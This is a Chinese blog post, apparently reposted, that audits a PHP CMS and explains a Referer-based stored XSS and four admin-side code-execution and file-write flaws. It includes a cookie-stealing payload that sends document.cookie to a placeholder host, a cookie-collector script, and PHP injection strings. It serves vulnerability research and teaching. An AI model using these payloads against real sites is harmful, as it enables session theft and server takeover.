对某CMS建站系统的一次代码审计

0x01 前言

不GetShell的代码审计不是好的代码审计,审计就是要多读代码,对各个交互点的代码都要进行分析。要使用一些审计工具来辅助我们进行工作,从而提高效率。这里本着学习的心态用seay源代码审计系统对某CMS进行一次代码审计,旨在学习漏洞触发点。

打开seay源代码审计系统软件,将要审计的网站源码导入项目,然后点击自动审计。当审计完成时,我们需要根据自动审计的结果,然后根据平时积累的经验,对可能存在风险的代码进行分析.

0x02 漏洞列表

1.前台存在存储型XSS漏洞

2.后台存在4处命令执行及文件写入漏洞可getshell

0x03 存储型XSS漏洞分析

1.XSS通常来说就是在网页中嵌入恶意代码, 通常来说是Javascript,当用户访问网页的时候,恶意脚本在浏览器上执行。

2.存储型XSS攻击流程:用户在留言板处-->存储进数据库-->普通用户或管理员打开留言板触发恶意代码

3.XSS的危害:

通过javascript获取用户的cookie,根据这个cookie窃取用户信息。

重定向网站到一个钓鱼网站

修改源码实现钓鱼

....

4.漏洞触发

a.安装完程序后在前台注册一个用户然后登陆http://localhost/member.php?c=login

b.任意打开一篇文章,例如http://localhost/newsshow.php?cid=4&id=19

c.打开Burp抓包,修改Refer头为Refer: javascript:alert(/panghusec/);

d.模拟管理员登陆,点击用户评论管理,点击评论内容触发XSS

5.源码分析在/member.php 第649-659行附近

//保存评论

else if($a == 'savecomment')

{

//是否开去文章评论功能

if($cfg_comment == 'N') exit();

//初始化参数

$aid = isset($aid) ? intval($aid) : '';

$molds = isset($molds) ? intval($molds) : '';

$body = isset($body) ? htmlspecialchars($body) : '';

$link = isset($_SERVER['HTTP_REFERER']) ? htmlspecialchars($_SERVER['HTTP_REFERER'],ENT_QUOTES) : '';

其中$link参数是从HTTP头中获取Refer头然后进去了htmlspecialchars函数

$link = isset($_SERVER['HTTP_REFERER']) ? htmlspecialchars($_SERVER['HTTP_REFERER'],ENT_QUOTES) : '';

htmlspecialchars() 函数为了预防XSS把预定义的字符转换为 HTML 实体。

$str = "";

echo htmlspecialchars($str, ENT_COMPAT); //只转换双引号

?>

//

预定义的字符是:

•&(和号)成为&

•"(双引号)成为"

•'(单引号)成为'

•>(大于)成为>

•ENT_COMPAT -默认。仅编码双引号。

•ENT_QUOTES -编码双引号和单引号。

•ENT_NOQUOTES -不编码任何引号。

上述代码浏览器和HTML输出是不一样的

一般这个函数就能阻挡住大部分的XSS攻击(但还是要看输出位置以及各方面考虑),我们看下后台的输出点,在admin/usercomment.php中第74行

" target="_blank" title="点击访问">

这次的输出点就在a标签的href里面,所以payload使用伪协议javascript:alert(/panghu/);在服务器上开启WEB服务然后新建cookie.php 内容如下

file_put_contents("test.txt",$_GET['cookie']);

?>

能打到cookie的payload

javascript:eval('i=document.createElement("img");i.src="http://xxx/cookie.php?cookie="+document.cookie;document.body.appendChild(i);')

0x04 第一处命令执行分析(需后台权限)

1.漏洞触发

先访问http://localhost/admin/goods_save.php?action=add&attrid[]=1&attrvalue[]=2");phpinfo();//

后访问http://localhost/admin/goods_update.php?id=2

即可执行phpinfo()

2.漏洞分析

后台添加商品的地方admin/goods_save.php 从103行开始

if($action == 'add')

{

//栏目权限验证19行附近

IsCategoryPriv($classid,'add');

此处忽略部分代码直接走到103行

//商品属性

if(is_array($attrid) && is_array($attrvalue))

{

//组成商品属性与值

$attrstr .= 'array(';

$attrids = count($attrid);

for($i=0; $i

{

$attrstr .= '"'.$attrid[$i].'"=>'.'"'.$attrvalue[$i].'"';

if($i

{

$attrstr .= ',';

}

}

$attrstr .= ');';

}

//又走到了304行

$sql = "INSERT INTO `$tbname` (classid, parentid, parentstr, typeid, typepid, typepstr,

brandid, brandpid, brandpstr, title, colorval, boldval, flag, goodsid, payfreight, weight,

attrstr, marketprice, salesprice, housenum, housewarn, warnnum, integral, source, author,

linkurl, keywords, description, content, picurl, picarr, hits, orderid, posttime, checkinfo

{$fieldname}) VALUES ('$classid', '$parentid', '$parentstr', '$typeid', '$typepid', '$typepstr',

'$brandid', '$brandpid', '$brandpstr', '$title', '$colorval', '$boldval', '$flag', '$goodsid',

'$payfreight', '$weight', '$attrstr', '$marketprice', '$salesprice', '$housenum', '$housewarn',

'$warnnum', '$integral', '$source', '$author', '$linkurl', '$keywords', '$description',

'$content', '$picurl', '$picarr', '$hits', '$orderid', '$posttime', '$checkinfo'

{$fieldvalue})";

在上图代码

$attrstr .= '"'.$attrid[$i].'"=>'.'"'.$attrvalue[$i].'"';

这个cms使用全局获取变量并且全局过滤,所以$attrid和$attrvalue可控,并且会通过循环组合成一个为$attrstr的数组。上面的循环操作并不会丢失东西,经过全局过滤后进入插进数据库

public static function addslashes($string, $force = 0, $strip = FALSE) {

接着在goods_update.php中第36行代码

$row = $dosql->GetOne("SELECT * FROM #@__goods WHERE id =$id");

又从表中把指定id的所有内容拿了出来,接着在第98行

$rowattr = String2Array($row['attrstr']);

进入了String2Array函数 这个函数很多程序员写了很多外部的交互然后又过滤不好 经常造成命令执行漏洞,导致网站沦陷,

*字符串转数组*/

if(!function_exists('String2Array'))

{

function String2Array($data)

{

if($data == '') return array();

@eval("\$array = $data;");

return $array;

}

}

String2Array函数的参数$row['attrstr']虽然不是直接跟外部交互的 但是传入的$row['attrstr']就是刚才在goods_save.php 外部存到数据库中的一个列,然后又从数据库中取出来这样就造成了一个命令执行

所以整理下思路在表单中填写命令执行payload->insert进数据库->从数据库中拿出来->传入String2Array函数

关键payload:2");phpinfo();//

经过全局addslashes过滤变成了2\");phpinfo();//,但保存在数据库中还是原样的

array("1"=>"2");phpinfo();//");

打开good_update.php传入对应ID后进入了

$row = $dosql->GetOne("SELECT * FROM #@__goods WHERE id =$id");

取出来的$row['attrstr']就是2");phpinfo();//然后传入eval中变成了

@eval("\$array =2");phpinfo();//

导致了命令执行

0x05 第二处命令执行分析(需后台权限)

其实第二处命令执行跟第一处有相同之处,第一处是存储payload到数据库被取出来后进入了存在命令执行风险的String2Array函数,第二处则是存储payload到数据库被取出来后进入了文件写入的函数,虽然文件名不可控,但是是php后缀

先访问http://localhost/admin/web_config.php然后填入payload 变量类型选择数字

1;file_put_contents("../panghusec.txt","just a test");

代码分析

//增加新变量

if($action == 'add')

{

if($varname == '' || preg_match('/[^a-z_]/', $varname))

{

ShowMsg('变量名不能为空并必须为[a-z_]组成!', $gourl);

exit();

}

//链接前缀

$varname = 'cfg_'.$varname;

if($vartype=='bool' && ($varvalue!='Y' && $varvalue!='N'))

{

ShowMsg('布尔变量值必须为\'Y\'或\'N\'!', $gourl);

exit();

}

获取到vartype和varvalue以及varname后 插入了数据库

$sql = "INSERT INTO `#@__webconfig` (siteid, varname, varinfo, varvalue, vartype, vargroup,

orderid) VALUES ('$cfg_siteid', '$varname', '$varinfo', '$varvalue', '$vartype', '$vargroup',

'$orderid')";

if(!$dosql->ExecNoneQuery($sql))

{

ShowMsg('新增变量失败,可能有非法字符!', $gourl);

exit();

}

WriteConfig();

从数据库中拿出来后接着进入了WriteConfig参数

$config_cache = PHPMYWIND_INC.'/config.cache.php';

//更新配置函数

function WriteConfig()

{

global $dosql, $config_cache, $gourl;

$str = '

$dosql->Execute("SELECT `varname`,`vartype`,`varvalue`,`vargroup` FROM `#@__webconfig` ORDER

BY orderid ASC");

while($row = $dosql->GetArray())

{

//强制去掉'

//强制去掉最后一位/

$vartmp = str_replace("'",'',$row['varvalue']);

if(substr($vartmp, -1) == '\\')

{

$vartmp = substr($vartmp,1,-1);

}

if($row['vartype'] == 'number')

{

if($row['varvalue'] == '')

{

$vartmp = 0;

}

$str .= "\${$row['varname']} = ".$vartmp.";\r\n";

}

else

{

$str .= "\${$row['varname']} = '".$vartmp."';\r\n";

}

}

$str .= '?>';

if(!Writef($config_cache,$str))

{

ShowMsg("变量成功保存,但由于config.cache.php无法写入,因此不能更新配置!", $gourl);

exit();

}

RewriteURL();

}

0x06 第三处命令执行分析(需后台权限)

问题还是出现在http://localhost/admin/web_config.php这次不用进入数据库了

保存之后访问http://localhost/admin/rewriteurl.php即可getshell

代码分析

$config_str = Readf(ADMIN_TEMP.'/html/rewriteurl.html');

$config_str = str_replace('', $apache, $config_str);

$config_str = str_replace('', $apache2, $config_str);

$config_str = str_replace('', $iis, $config_str);

$config_str = str_replace('', $iis7, $config_str);

$config_str = str_replace('', $nginx, $config_str);

$config_str = str_replace('', $webpath, $config_str);

//将替换后的内容写入rewriteurl.php文件

if(!Writef('rewriteurl.php', $config_str))

{

ShowMsg("文件失败rewriteurl.php文件失败,可能是由于没有写入权限,因此不能更新配置!", $gourl);

exit();

}

}

直接就写入了文件

0x07第四处命令执行分析(需后台权限)

问题同样还是出现在http://localhost/admin/web_config.php

$cfg_webpath填入111\

$cfg_author填入';phpinfo();//

代码分析

在admin/web_config.php中第32-64行是对输入的变量进行一些过滤的操作

//更新配置函数

function WriteConfig()

{

global $dosql, $config_cache, $gourl;

$str = '

$dosql->Execute("SELECT `varname`,`vartype`,`varvalue`,`vargroup` FROM `#@__webconfig` ORDER BY orderid ASC");

while($row = $dosql->GetArray())

{

//强制去掉'

//强制去掉最后一位/

$vartmp = str_replace("'",'',$row['varvalue']);

if(substr($vartmp, -1) == '\\')

{

$vartmp = substr($vartmp,1,-1);

}

if($row['vartype'] == 'number')

{

其中强制去掉了'所以就没法闭合getshell了但这个操作

if(substr($vartmp, -1) == '\\')

{

$vartmp = substr($vartmp,1,-1);

}

对\ 字符只做了一次过滤,只要使用\,最后一个\被过滤后剩下的\可以注释单引号,第二个变量中开始的单引号刚好与上一个单引号进行了闭合,剩下的变量内容被当成命令执行

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180904G0IVEL00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

同媒体快讯

扫码关注云+社区

领取腾讯云代金券